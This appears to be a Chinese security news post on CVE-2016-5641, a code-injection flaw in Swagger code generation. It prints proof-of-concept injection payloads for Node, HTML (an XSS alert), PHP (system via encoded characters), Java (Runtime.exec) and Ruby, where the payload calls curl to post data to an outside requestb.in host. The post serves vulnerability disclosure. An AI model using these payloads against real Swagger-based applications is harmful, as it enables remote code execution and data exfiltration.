Swagger曝远程代码执行漏洞,影响Java、PHP、NodeJS等众多开发语言

漏洞简述

**Swagger规格被广泛的使用在Html、PHP、Java和 Ruby等流行语言开发的应用中,其最近被曝出远程代码执行漏洞,潜在影响到了Java、PHP、NodeJS和 Ruby等流行语言开发的应用。**这个漏洞的CVE编号为CVE-2016-5641。该漏洞属于参数注入漏洞,能够在Swagger JSON文件中嵌入恶意代码。如凡是使用Swagger API的应用程序都会受到影响。Rapid7社区的安全研究人员目前公开了该漏洞的技术细节和修补方案。

EXP

javascript (node)

“paths”: {

”/a’);};};return exports;}));console.log(‘RCE’);(function(){}(this,function(){a=function(){b=function(){new Array(‘”: {

html

“info”: { “description”: “<script>alert(1)</script>”,

php

“definitions”: {
 ”d”: {

“type”: “object”,

“description”: “*/ echo system(chr(0x6c).chr(0×73)); /*”,

ruby

“info”: {
”description”: “=begin”,
”title”: “=end `curl -X POST -d \”fizz=buzz\” [http://requestb.in/1ftnzfy1](http://requestb.in/1ftnzfy1)`”

Java

“paths”: {

”/a\”; try{java.lang.Runtime.getRuntime().exec(\”ls\”);}catch(Exception e){} \”":

修复简述

仔细检查Swagger特定语言的转义字符,比如对{}符号谨慎使用。详情请参考该链接